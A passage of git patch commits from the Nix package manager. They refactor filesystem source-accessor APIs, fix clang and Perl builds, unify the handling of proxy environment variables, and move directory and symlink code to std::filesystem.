index 02154715f..af6743375 100644 --- a/src/nix/add-to-store.cc +++ b/src/nix/add-to-store.cc @@ -41,9 +41,9 @@ struct CmdAddToStore : MixDryRun, StoreCommand auto storePath = dryRun ? store->computeStorePath( - *namePart, accessor, path2, caMethod, hashAlgo, {}).first + *namePart, {accessor, path2}, caMethod, hashAlgo, {}).first : store->addToStoreSlow( - *namePart, accessor, path2, caMethod, hashAlgo, {}).path; + *namePart, {accessor, path2}, caMethod, hashAlgo, {}).path; logger->cout("%s", store->printStorePath(storePath)); } diff --git a/src/nix/hash.cc b/src/nix/hash.cc index f849bf0cf..f969886ea 100644 --- a/src/nix/hash.cc +++ b/src/nix/hash.cc @@ -87,30 +87,29 @@ struct CmdHashBase : Command return std::make_unique(hashAlgo); }; - auto [accessor_, canonPath] = PosixSourceAccessor::createAtRoot(path); - auto & accessor = accessor_; + auto path2 = PosixSourceAccessor::createAtRoot(path); Hash h { HashAlgorithm::SHA256 }; // throwaway def to appease C++ switch (mode) { case FileIngestionMethod::Flat: case FileIngestionMethod::Recursive: { auto hashSink = makeSink(); - dumpPath(accessor, canonPath, *hashSink, (FileSerialisationMethod) mode); + dumpPath(path2, *hashSink, (FileSerialisationMethod) mode); h = hashSink->finish().first; break; } case FileIngestionMethod::Git: { std::function hook; - hook = [&](const CanonPath & path) -> git::TreeEntry { + hook = [&](const SourcePath & path) -> git::TreeEntry { auto hashSink = makeSink(); - auto mode = dump(accessor, path, *hashSink, hook); + auto mode = dump(path, *hashSink, hook); auto hash = hashSink->finish().first; return { .mode = mode, .hash = hash, }; }; - h = hook(canonPath).hash; + h = hook(path2).hash; break; } } diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index f905cabef..6c2eb5aaf 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -125,9 +125,8 @@ std::tuple prefetchFile( Activity act(*logger, lvlChatty, actUnknown, fmt("adding '%s' to the store", url)); - auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(tmpFile); auto info = store->addToStoreSlow( - *name, accessor, canonPath, + *name, PosixSourceAccessor::createAtRoot(tmpFile), ingestionMethod, hashAlgo, {}, expectedHash); storePath = info.path; assert(info.ca); diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc index 4f92488d6..ff934c117 100644 --- a/tests/unit/libutil/git.cc +++ b/tests/unit/libutil/git.cc @@ -154,8 +154,8 @@ TEST_F(GitTest, tree_write) { TEST_F(GitTest, both_roundrip) { using File = MemorySourceAccessor::File; - MemorySourceAccessor files; - files.root = File::Directory { + auto files = make_ref(); + files->root = File::Directory { .contents { { "foo", @@ -189,12 +189,12 @@ TEST_F(GitTest, both_roundrip) { std::map cas; std::function dumpHook; - dumpHook = [&](const CanonPath & path) { + dumpHook = [&](const SourcePath & path) { StringSink s; HashSink hashSink { HashAlgorithm::SHA1 }; TeeSink s2 { s, hashSink }; auto mode = dump( - files, path, s2, dumpHook, + path, s2, dumpHook, defaultPathFilter, mockXpSettings); auto hash = hashSink.finish().first; cas.insert_or_assign(hash, std::move(s.s)); @@ -204,11 +204,11 @@ TEST_F(GitTest, both_roundrip) { }; }; - auto root = dumpHook(CanonPath::root); + auto root = dumpHook({files}); - MemorySourceAccessor files2; + auto files2 = make_ref(); - MemorySink sinkFiles2 { files2 }; + MemorySink sinkFiles2 { *files2 }; std::function mkSinkHook; mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) { @@ -229,7 +229,7 @@ TEST_F(GitTest, both_roundrip) { mkSinkHook("", root.hash, BlobMode::Regular); - ASSERT_EQ(files, files2); + ASSERT_EQ(*files, *files2); } TEST(GitLsRemote, parseSymrefLineWithReference) { From ef28c7329c68c8e792400c9e9dec65bd4c20584d Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 6 May 2024 19:16:52 +0200 Subject: [PATCH 0557/1251] Rename makeFSSourceAccessor -> getFSSourceAccessor() This makes it clearer that it returns a shared accessor object. --- src/libcmd/installables.cc | 2 +- src/libexpr/eval.cc | 4 ++-- src/libfetchers/unix/mercurial.cc | 4 ++-- src/libstore/unix/build/local-derivation-goal.cc | 8 ++++---- src/libstore/unix/local-store.cc | 4 ++-- src/libutil/posix-source-accessor.cc | 2 +- src/libutil/source-accessor.hh | 7 +++++-- 7 files changed, 17 insertions(+), 14 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 0d42a62cc..43e312540 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -146,7 +146,7 @@ MixFlakeOptions::MixFlakeOptions() .category = category, .labels = {"flake-lock-path"}, .handler = {[&](std::string lockFilePath) { - lockFlags.referenceLockFilePath = {makeFSSourceAccessor(), CanonPath(absPath(lockFilePath))}; + lockFlags.referenceLockFilePath = {getFSSourceAccessor(), CanonPath(absPath(lockFilePath))}; }}, .completer = completePath }); diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index ad6cdc6d2..d7e3a2cdb 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -399,14 +399,14 @@ EvalState::EvalState( , emptyBindings(0) , rootFS( evalSettings.restrictEval || evalSettings.pureEval - ? ref(AllowListSourceAccessor::create(makeFSSourceAccessor(), {}, + ? ref(AllowListSourceAccessor::create(getFSSourceAccessor(), {}, [](const CanonPath & path) -> RestrictedPathError { auto modeInformation = evalSettings.pureEval ? "in pure evaluation mode (use '--impure' to override)" : "in restricted mode"; throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation); })) - : makeFSSourceAccessor()) + : getFSSourceAccessor()) , corepkgsFS(make_ref()) , internalFS(make_ref()) , derivationInternal{corepkgsFS->addFile( diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index 838cb41bf..049faffa8 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -212,7 +212,7 @@ struct MercurialInputScheme : InputScheme auto storePath = store->addToStore( input.getName(), - {makeFSSourceAccessor(), CanonPath(actualPath)}, + {getFSSourceAccessor(), CanonPath(actualPath)}, FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {}, filter); @@ -318,7 +318,7 @@ struct MercurialInputScheme : InputScheme deletePath(tmpDir + "/.hg_archival.txt"); - auto storePath = store->addToStore(name, {makeFSSourceAccessor(), CanonPath(tmpDir)}); + auto storePath = store->addToStore(name, {getFSSourceAccessor(), CanonPath(tmpDir)}); Attrs infoAttrs({ {"rev", input.getRev()->gitRev()}, diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 24f6897c6..3b010350d 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -2492,7 +2492,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() HashModuloSink caSink { outputHash.hashAlgo, oldHashPart }; auto fim = outputHash.method.getFileIngestionMethod(); dumpPath( - {makeFSSourceAccessor(), CanonPath(actualPath)}, + {getFSSourceAccessor(), CanonPath(actualPath)}, caSink, (FileSerialisationMethod) fim); return caSink.finish().first; @@ -2500,7 +2500,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() case FileIngestionMethod::Git: { return git::dumpHash( outputHash.hashAlgo, - {makeFSSourceAccessor(), CanonPath(tmpDir + "/tmp")}).hash; + {getFSSourceAccessor(), CanonPath(tmpDir + "/tmp")}).hash; } } assert(false); @@ -2528,7 +2528,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() { HashResult narHashAndSize = hashPath( - {makeFSSourceAccessor(), CanonPath(actualPath)}, + {getFSSourceAccessor(), CanonPath(actualPath)}, FileSerialisationMethod::Recursive, HashAlgorithm::SHA256); newInfo0.narHash = narHashAndSize.first; newInfo0.narSize = narHashAndSize.second; @@ -2551,7 +2551,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() std::string { requiredFinalPath.hashPart() }); rewriteOutput(outputRewrites); HashResult narHashAndSize = hashPath( - {makeFSSourceAccessor(), CanonPath(actualPath)}, + {getFSSourceAccessor(), CanonPath(actualPath)}, FileSerialisationMethod::Recursive, HashAlgorithm::SHA256); ValidPathInfo newInfo0 { requiredFinalPath, narHashAndSize.first }; newInfo0.narSize = narHashAndSize.second; diff --git a/src/libstore/unix/local-store.cc b/src/libstore/unix/local-store.cc index 7b3ba1347..a3de523a3 100644 --- a/src/libstore/unix/local-store.cc +++ b/src/libstore/unix/local-store.cc @@ -1252,7 +1252,7 @@ StorePath LocalStore::addToStoreFromDump( methodsMatch ? dumpHash : hashPath( - {makeFSSourceAccessor(), CanonPath(tempPath)}, + {getFSSourceAccessor(), CanonPath(tempPath)}, hashMethod.getFileIngestionMethod(), hashAlgo), { .others = references, @@ -1392,7 +1392,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) Path linkPath = linksDir + "/" + link.name; PosixSourceAccessor accessor; std::string hash = hashPath( - {makeFSSourceAccessor(), CanonPath(linkPath)}, + {getFSSourceAccessor(), CanonPath(linkPath)}, FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false); if (hash != link.name) { printError("link '%s' was modified! expected hash '%s', got '%s'", diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index f3551db42..e9c554939 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -167,7 +167,7 @@ void PosixSourceAccessor::assertNoSymlinks(CanonPath path) } } -ref makeFSSourceAccessor() +ref getFSSourceAccessor() { static auto rootFS = make_ref(); return rootFS; diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh index b3fb9fe08..d7fb0af5f 100644 --- a/src/libutil/source-accessor.hh +++ b/src/libutil/source-accessor.hh @@ -197,10 +197,13 @@ MakeError(RestrictedPathError, Error); /** * Return an accessor for the root filesystem. */ -ref makeFSSourceAccessor(); +ref getFSSourceAccessor(); /** - * Return an accessor for the filesystem rooted at `root`. + * Construct an accessor for the filesystem rooted at `root`. Note + * that it is not possible to escape `root` by appending `..` path + * elements, and that absolute symlinks are resolved relative to + * `root`. */ ref makeFSSourceAccessor(std::filesystem::path root); From 5e189025ca3d1f7bc629b3ff41d104f1e9d920c2 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 6 May 2024 13:38:21 -0400 Subject: [PATCH 0558/1251] Fix build failure with clang A slight issue with feb1d10f60a2b9ae9cce48817b6a209a7ab007c8. --- src/libfetchers/fetchers.hh | 2 ++ tests/unit/libfetchers/public-key.cc | 4 ++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index 42b184393..551be9a1f 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -230,6 +230,8 @@ struct PublicKey { std::string type = "ssh-ed25519"; std::string key; + + auto operator <=>(const PublicKey &) const = default; }; std::string publicKeys_to_string(const std::vector&); diff --git a/tests/unit/libfetchers/public-key.cc b/tests/unit/libfetchers/public-key.cc index 7b763bb05..8a639da9f 100644 --- a/tests/unit/libfetchers/public-key.cc +++ b/tests/unit/libfetchers/public-key.cc @@ -22,7 +22,7 @@ public: TEST_F(FIXTURE, PublicKey_ ## NAME ## _from_json) { \ readTest(#NAME ".json", [&](const auto & encoded_) { \ fetchers::PublicKey expected { VAL }; \ - auto got = nlohmann::json::parse(encoded_); \ + fetchers::PublicKey got = nlohmann::json::parse(encoded_); \ ASSERT_EQ(got, expected); \ }); \ } \ @@ -47,7 +47,7 @@ TEST_F(PublicKeyTest, PublicKey_noRoundTrip_from_json) { readTest("noRoundTrip.json", [&](const auto & encoded_) { fetchers::PublicKey expected = { .type = "ssh-ed25519", .key = "ABCDE" }; fetchers::PublicKey got = nlohmann::json::parse(encoded_); - ASSERT_EQ(got, nlohmann::json(expected)); + ASSERT_EQ(got, expected); }); } From b7eb26e362c2b963b7300316d37c618f07505ccd Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 6 May 2024 20:00:44 +0200 Subject: [PATCH 0559/1251] Fix perl build --- perl/lib/Nix/Store.xs | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/perl/lib/Nix/Store.xs b/perl/lib/Nix/Store.xs index 1d56e0127..ee211ef64 100644 --- a/perl/lib/Nix/Store.xs +++ b/perl/lib/Nix/Store.xs @@ -256,9 +256,8 @@ SV * hashPath(char * algo, int base32, char * path) PPCODE: try { - auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(path); Hash h = hashPath( - accessor, canonPath, + PosixSourceAccessor::createAtRoot(path), FileIngestionMethod::Recursive, parseHashAlgo(algo)); auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); @@ -336,10 +335,9 @@ StoreWrapper::addToStore(char * srcPath, int recursive, char * algo) PPCODE: try { auto method = recursive ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat; - auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(srcPath); auto path = THIS->store->addToStore( std::string(baseNameOf(srcPath)), - accessor, canonPath, + PosixSourceAccessor::createAtRoot(srcPath), method, parseHashAlgo(algo)); XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(path).c_str(), 0))); } catch (Error & e) { From c7216a416fb5ad902775520c18b3b5e3cf49fbe0 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 6 May 2024 21:11:41 +0200 Subject: [PATCH 0560/1251] Update src/libfetchers/cache.hh Co-authored-by: Robert Hensing --- src/libfetchers/cache.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh index 1a72162d7..4d834fe0c 100644 --- a/src/libfetchers/cache.hh +++ b/src/libfetchers/cache.hh @@ -16,7 +16,7 @@ struct Cache /** * A domain is a partition of the key/value cache for a particular - * purpose, e.g. "Git revision to revcount". + * purpose, e.g. git revision to revcount. */ using Domain = std::string_view; From b4950404ba7c8f14f5892bd1327b035590c2f7bc Mon Sep 17 00:00:00 2001 From: ramboman Date: Mon, 6 May 2024 19:39:22 +0000 Subject: [PATCH 0561/1251] Honor the same set of proxy environment variables (#10611) Different parts of the project honor different sets of proxy environment variables. With this commit all parts of the project will honor the same set of proxy environment variables. --------- Co-authored-by: Your Name Co-authored-by: John Ericson --- doc/manual/src/installation/env-variables.md | 3 +- scripts/install-systemd-multi-user.sh | 2 +- src/libcmd/network-proxy.cc | 45 ++++++++++++++++++++ src/libcmd/network-proxy.hh | 22 ++++++++++ src/libexpr/fetchurl.nix | 1 + src/nix-build/nix-build.cc | 3 +- src/nix/main.cc | 24 +---------- tests/nixos/nss-preload.nix | 1 + 8 files changed, 76 insertions(+), 25 deletions(-) create mode 100644 src/libcmd/network-proxy.cc create mode 100644 src/libcmd/network-proxy.hh diff --git a/doc/manual/src/installation/env-variables.md b/doc/manual/src/installation/env-variables.md index db98f52ff..035090421 100644 --- a/doc/manual/src/installation/env-variables.md +++ b/doc/manual/src/installation/env-variables.md @@ -53,7 +53,8 @@ ssl-cert-file = /etc/ssl/my-certificate-bundle.crt The Nix installer has special handling for these proxy-related environment variables: `http_proxy`, `https_proxy`, `ftp_proxy`, -`no_proxy`, `HTTP_PROXY`, `HTTPS_PROXY`, `FTP_PROXY`, `NO_PROXY`. +`all_proxy`, `no_proxy`, `HTTP_PROXY`, `HTTPS_PROXY`, `FTP_PROXY`, +`ALL_PROXY`, `NO_PROXY`. If any of these variables are set when running the Nix installer, then the installer will create an override file at diff --git a/scripts/install-systemd-multi-user.sh b/scripts/install-systemd-multi-user.sh index 202a9bb54..a62ed7e3a 100755 --- a/scripts/install-systemd-multi-user.sh +++ b/scripts/install-systemd-multi-user.sh @@ -35,7 +35,7 @@ escape_systemd_env() { # Gather all non-empty proxy environment variables into a string create_systemd_proxy_env() { - vars="http_proxy https_proxy ftp_proxy no_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY NO_PROXY" + vars="http_proxy https_proxy ftp_proxy all_proxy no_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY ALL_PROXY NO_PROXY" for v in $vars; do if [ "x${!v:-}" != "x" ]; then echo "Environment=${v}=$(escape_systemd_env ${!v})" diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc new file mode 100644 index 000000000..633b2c005 --- /dev/null +++ b/src/libcmd/network-proxy.cc @@ -0,0 +1,45 @@ +#include "network-proxy.hh" + +#include +#include + +#include "environment-variables.hh" + +namespace nix { + +static const StringSet lowercaseVariables{"http_proxy", "https_proxy", "ftp_proxy", "all_proxy", "no_proxy"}; + +static StringSet getAllVariables() +{ + StringSet variables = lowercaseVariables; + for (const auto & variable : lowercaseVariables) { + variables.insert(boost::to_upper_copy(variable)); + } + return variables; +} + +const StringSet networkProxyVariables = getAllVariables(); + +static StringSet getExcludingNoProxyVariables() +{ + static const StringSet excludeVariables{"no_proxy", "NO_PROXY"}; + StringSet variables; + std::set_difference( + networkProxyVariables.begin(), networkProxyVariables.end(), excludeVariables.begin(), excludeVariables.end(), + std::inserter(variables, variables.begin())); + return variables; +} + +static const StringSet excludingNoProxyVariables = getExcludingNoProxyVariables(); + +bool haveNetworkProxyConnection() +{ + for (const auto & variable : excludingNoProxyVariables) { + if (getEnv(variable).has_value()) { + return true; + } + } + return false; +} + +} diff --git a/src/libcmd/network-proxy.hh b/src/libcmd/network-proxy.hh new file mode 100644 index 000000000..0b6856acb --- /dev/null +++ b/src/libcmd/network-proxy.hh @@ -0,0 +1,22 @@ +#pragma once +///@file + +#include "types.hh" + +namespace nix { + +/** + * Environment variables relating to network proxying. These are used by + * a few misc commands. + * + * See the Environment section of https://curl.se/docs/manpage.html for details. + */ +extern const StringSet networkProxyVariables; + +/** + * Heuristically check if there is a proxy connection by checking for defined + * proxy variables. + */ +bool haveNetworkProxyConnection(); + +} diff --git a/src/libexpr/fetchurl.nix b/src/libexpr/fetchurl.nix index 9d1b61d7f..aef4058fb 100644 --- a/src/libexpr/fetchurl.nix +++ b/src/libexpr/fetchurl.nix @@ -34,6 +34,7 @@ derivation ({ # derivation like fetchurl is allowed to do so since its result is # by definition pure. "http_proxy" "https_proxy" "ftp_proxy" "all_proxy" "no_proxy" + "HTTP_PROXY" "HTTPS_PROXY" "FTP_PROXY" "ALL_PROXY" "NO_PROXY" ]; # To make "nix-prefetch-url" work. diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 30ebc9498..46533b34b 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -25,6 +25,7 @@ #include "attr-path.hh" #include "legacy.hh" #include "users.hh" +#include "network-proxy.hh" using namespace nix; using namespace std::string_literals; @@ -121,8 +122,8 @@ static void main_nix_build(int argc, char * * argv) "HOME", "XDG_RUNTIME_DIR", "USER", "LOGNAME", "DISPLAY", "WAYLAND_DISPLAY", "WAYLAND_SOCKET", "PATH", "TERM", "IN_NIX_SHELL", "NIX_SHELL_PRESERVE_PROMPT", "TZ", "PAGER", "NIX_BUILD_SHELL", "SHLVL", - "http_proxy", "https_proxy", "ftp_proxy", "all_proxy", "no_proxy" }; + keepVars.insert(networkProxyVariables.begin(), networkProxyVariables.end()); Strings args; for (int i = 1; i < argc; ++i) diff --git a/src/nix/main.cc b/src/nix/main.cc index 8ea2f7748..bc13a4df5 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -17,6 +17,7 @@ #include "memory-source-accessor.hh" #include "terminal.hh" #include "users.hh" +#include "network-proxy.hh" #include #include @@ -41,27 +42,6 @@ void chrootHelper(int argc, char * * argv); namespace nix { -#ifdef _WIN32 -[[maybe_unused]] -#endif -static bool haveProxyEnvironmentVariables() -{ - static const std::vector proxyVariables = { - "http_proxy", - "https_proxy", - "ftp_proxy", - "HTTP_PROXY", - "HTTPS_PROXY", - "FTP_PROXY" - }; - for (auto & proxyVariable: proxyVariables) { - if (getEnv(proxyVariable).has_value()) { - return true; - } - } - return false; -} - /* Check if we have a non-loopback/link-local network interface. */ static bool haveInternet() { @@ -86,7 +66,7 @@ static bool haveInternet() } } - if (haveProxyEnvironmentVariables()) return true; + if (haveNetworkProxyConnection()) return true; return false; #else diff --git a/tests/nixos/nss-preload.nix b/tests/nixos/nss-preload.nix index 00505d114..610769c8d 100644 --- a/tests/nixos/nss-preload.nix +++ b/tests/nixos/nss-preload.nix @@ -32,6 +32,7 @@ let impureEnvVars = [ "http_proxy" "https_proxy" "ftp_proxy" "all_proxy" "no_proxy" + "HTTP_PROXY" "HTTPS_PROXY" "FTP_PROXY" "ALL_PROXY" "NO_PROXY" ]; urls = [ "http://example.com" ]; From c371070580afbb7f18972ed52e973f581496f881 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 7 May 2024 00:14:49 -0400 Subject: [PATCH 0562/1251] Use `std::filesystem` functions in more places This makes for shorter and more portable code. The only tricky part is catching exceptions: I just searched for near by `catch (Error &)` or `catch (SysError &)` and adjusted them to `catch (std::filesystem::filesystem_error &)` according to my human judgement. Good for windows portability; will help @siddhantk232 with his GSOC project. --- configure.ac | 1 - src/libcmd/repl.cc | 1 + src/libstore/builtins/buildenv.cc | 4 +- src/libstore/globals.cc | 4 +- src/libstore/profiles.cc | 2 + src/libstore/unix/gc.cc | 14 ++-- src/libstore/unix/local-store.hh | 2 +- src/libutil/file-system.cc | 83 ++++++------------- src/libutil/file-system.hh | 19 +---- src/libutil/linux/cgroup.cc | 2 +- src/libutil/posix-source-accessor.cc | 14 ++-- src/libutil/unix/file-descriptor.cc | 1 + .../nix-collect-garbage.cc | 10 +-- src/nix/config-check.cc | 3 +- 14 files changed, 61 insertions(+), 99 deletions(-) diff --git a/configure.ac b/configure.ac index 8f60bf4be..b2a5794b5 100644 --- a/configure.ac +++ b/configure.ac @@ -63,7 +63,6 @@ AC_SYS_LARGEFILE # Solaris-specific stuff. -AC_STRUCT_DIRENT_D_TYPE case "$host_os" in solaris*) # Solaris requires -lsocket -lnsl for network functions diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index bade1b538..d2f2a9648 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -264,6 +264,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix) completions.insert(prev + dir + "/" + entry.name); } } catch (Error &) { + } catch (std::filesystem::filesystem_error &) { } } else if ((dot = cur.rfind('.')) == std::string::npos) { /* This is a variable name; look it up in the current scope. */ diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc index e009f5b9d..ebd8f1348 100644 --- a/src/libstore/builtins/buildenv.cc +++ b/src/libstore/builtins/buildenv.cc @@ -21,8 +21,8 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, try { srcFiles = readDirectory(srcDir); - } catch (SysError & e) { - if (e.errNo == ENOTDIR) { + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::not_a_directory) { warn("not including '%s' in the user environment because it's not a directory", srcDir); return; } diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index dfe3044ea..f0096b981 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -348,8 +348,8 @@ void initPlugins() auto ents = readDirectory(pluginFile); for (const auto & ent : ents) pluginFiles.emplace_back(pluginFile + "/" + ent.name); - } catch (SysError & e) { - if (e.errNo != ENOTDIR) + } catch (std::filesystem::filesystem_error & e) { + if (e.code() != std::errc::not_a_directory) throw; pluginFiles.emplace_back(pluginFile); } diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc index 73d3976f4..a0bb60410 100644 --- a/src/libstore/profiles.cc +++ b/src/libstore/profiles.cc @@ -338,6 +338,8 @@ Path getDefaultProfile() return absPath(readLink(profileLink), dirOf(profileLink)); } catch (Error &) { return profileLink; + } catch (std::filesystem::filesystem_error &) { + return profileLink; } } diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc index be5794395..6677946aa 100644 --- a/src/libstore/unix/gc.cc +++ b/src/libstore/unix/gc.cc @@ -203,7 +203,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) } -void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) +void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, Roots & roots) { auto foundRoot = [&](const Path & path, const Path & target) { try { @@ -217,15 +217,15 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) try { - if (type == DT_UNKNOWN) + if (type == std::filesystem::file_type::unknown) type = getFileType(path); - if (type == DT_DIR) { + if (type == std::filesystem::file_type::directory) { for (auto & i : readDirectory(path)) findRoots(path + "/" + i.name, i.type, roots); } - else if (type == DT_LNK) { + else if (type == std::filesystem::file_type::symlink) { Path target = readLink(path); if (isInStore(target)) foundRoot(path, target); @@ -247,7 +247,7 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) } } - else if (type == DT_REG) { + else if (type == std::filesystem::file_type::regular) { auto storePath = maybeParseStorePath(storeDir + "/" + std::string(baseNameOf(path))); if (storePath && isValidPath(*storePath)) roots[std::move(*storePath)].emplace(path); @@ -268,8 +268,8 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) void LocalStore::findRootsNoTemp(Roots & roots, bool censor) { /* Process direct roots in {gcroots,profiles}. */ - findRoots(stateDir + "/" + gcRootsDir, DT_UNKNOWN, roots); - findRoots(stateDir + "/profiles", DT_UNKNOWN, roots); + findRoots(stateDir + "/" + gcRootsDir, std::filesystem::file_type::unknown, roots); + findRoots(stateDir + "/profiles", std::filesystem::file_type::unknown, roots); /* Add additional roots returned by different platforms-specific heuristics. This is typically used to add running programs to diff --git a/src/libstore/unix/local-store.hh b/src/libstore/unix/local-store.hh index 47d3c04bc..15bcc826f 100644 --- a/src/libstore/unix/local-store.hh +++ b/src/libstore/unix/local-store.hh @@ -371,7 +371,7 @@ private: PathSet queryValidPathsOld(); ValidPathInfo queryPathInfoOld(const Path & path); - void findRoots(const Path & path, unsigned char type, Roots & roots); + void findRoots(const Path & path, std::filesystem::file_type type, Roots & roots); void findRootsNoTemp(Roots & roots, bool censor); diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index b03bb767b..0e68241fc 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -120,10 +120,10 @@ Path canonPath(PathView path, bool resolveSymlinks) Path dirOf(const PathView path) { - Path::size_type pos = path.rfind('/'); + Path::size_type pos = NativePathTrait::rfindPathSep(path); if (pos == path.npos) return "."; - return pos == 0 ? "/" : Path(path, 0, pos); + return fs::path{path}.parent_path().string(); } @@ -217,72 +217,36 @@ bool pathAccessible(const Path & path) Path readLink(const Path & path) { -#ifndef _WIN32 checkInterrupt(); - std::vector buf; - for (ssize_t bufSize = PATH_MAX/4; true; bufSize += bufSize/2) { - buf.resize(bufSize); - ssize_t rlSize = readlink(path.c_str(), buf.data(), bufSize); - if (rlSize == -1) - if (errno == EINVAL) - throw Error("'%1%' is not a symlink", path); - else - throw SysError("reading symbolic link '%1%'", path); - else if (rlSize < bufSize) - return std::string(buf.data(), rlSize); - } -#else - // TODO modern Windows does in fact support symlinks - throw UnimplementedError("reading symbolic link '%1%'", path); -#endif + return fs::read_symlink(path).string(); } bool isLink(const Path & path) { - return getFileType(path) == DT_LNK; + return getFileType(path) == fs::file_type::symlink; } -DirEntries readDirectory(DIR *dir, const Path & path) +DirEntries readDirectory(const Path & path) { DirEntries entries; entries.reserve(64); - struct dirent * dirent; - while (errno = 0, dirent = readdir(dir)) { /* sic */ + for (auto & entry : fs::directory_iterator{path}) { checkInterrupt(); - std::string name = dirent->d_name; - if (name == "." || name == "..") continue; - entries.emplace_back(name, dirent->d_ino, -#ifdef HAVE_STRUCT_DIRENT_D_TYPE - dirent->d_type -#else - DT_UNKNOWN -#endif - ); + entries.emplace_back( + entry.path().filename().string(), + entry.symlink_status().type()); } - if (errno) throw SysError("reading directory '%1%'", path); return entries; } -DirEntries readDirectory(const Path & path) + +fs::file_type getFileType(const Path & path) { - AutoCloseDir dir(opendir(path.c_str())); - if (!dir) throw SysError("opening directory '%1%'", path); - - return readDirectory(dir.get(), path); -} - - -unsigned char getFileType(const Path & path) -{ - struct stat st = lstat(path); - if (S_ISDIR(st.st_mode)) return DT_DIR; - if (S_ISLNK(st.st_mode)) return DT_LNK; - if (S_ISREG(st.st_mode)) return DT_REG; - return DT_UNKNOWN; + return fs::symlink_status(path).type(); } @@ -432,8 +396,15 @@ static void _deletePath(Descriptor parentfd, const Path & path, uint64_t & bytes AutoCloseDir dir(fdopendir(fd)); if (!dir) throw SysError("opening directory '%1%'", path); - for (auto & i : readDirectory(dir.get(), path)) - _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed); + + struct dirent * dirent; + while (errno = 0, dirent = readdir(dir.get())) { /* sic */ + checkInterrupt(); + std::string childName = dirent->d_name; + if (childName == "." || childName == "..") continue; + _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); + } + if (errno) throw SysError("reading directory '%1%'", path); } int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; @@ -611,13 +582,7 @@ std::pair createTempFile(const Path & prefix) void createSymlink(const Path & target, const Path & link) { -#ifndef _WIN32 - if (symlink(target.c_str(), link.c_str())) - throw SysError("creating symlink from '%1%' to '%2%'", link, target); -#else - // TODO modern Windows does in fact support symlinks - throw UnimplementedError("createSymlink"); -#endif + fs::create_symlink(target, link); } void replaceSymlink(const Path & target, const Path & link) @@ -627,8 +592,8 @@ void replaceSymlink(const Path & target, const 